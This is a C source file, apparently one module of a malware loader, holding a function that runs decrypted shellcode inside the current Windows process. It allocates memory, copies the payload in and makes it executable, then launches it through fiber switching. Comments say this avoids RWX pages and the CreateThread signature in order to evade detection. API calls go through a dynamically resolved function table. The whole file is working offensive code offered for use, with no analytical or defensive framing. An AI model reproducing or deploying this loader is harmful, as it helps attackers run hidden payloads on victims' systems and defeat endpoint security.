/**
 * shellcode_stub.c — Shellcode execution (local, fiber-based)
 *
 * Allocates RW memory, copies decrypted payload, flips to RX,
 * and executes via fiber switching (no CreateThread).
 */

#include <windows.h>
#include <stdint.h>
#include <string.h>

#include "api_resolve.h"

/**
 * Execute raw shellcode in the current process via fiber.
 * sc_data: pointer to decrypted shellcode bytes
 * sc_len:  length of the shellcode
 * Returns 0 on success, -1 on failure.
 */
int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len) {
    if (!sc_data || sc_len == 0) return -1;

    /* Allocate RW memory */
    LPVOID mem = g_api.pVirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!mem) return -1;

    /* Copy shellcode */
    memcpy(mem, sc_data, sc_len);

    /* Flip to RX (no RWX — avoid easy detection) */
    DWORD old_protect;
    if (!g_api.pVirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old_protect)) {
        g_api.pVirtualFree(mem, 0, MEM_RELEASE);
        return -1;
    }

    /* Execute via fiber — avoids CreateThread behavioral signature */
    LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL);
    if (!main_fiber) {
        main_fiber = GetCurrentFiber();
    }

    LPVOID sc_fiber = g_api.pCreateFiber(0, (LPFIBER_START_ROUTINE)mem, NULL);
    if (!sc_fiber) {
        g_api.pVirtualFree(mem, 0, MEM_RELEASE);
        return -1;
    }

    g_api.pSwitchToFiber(sc_fiber);

    /* Control returns here after shellcode completes */
    g_api.pDeleteFiber(sc_fiber);

    /* Clean up */
    g_api.pVirtualFree(mem, 0, MEM_RELEASE);

    return 0;
}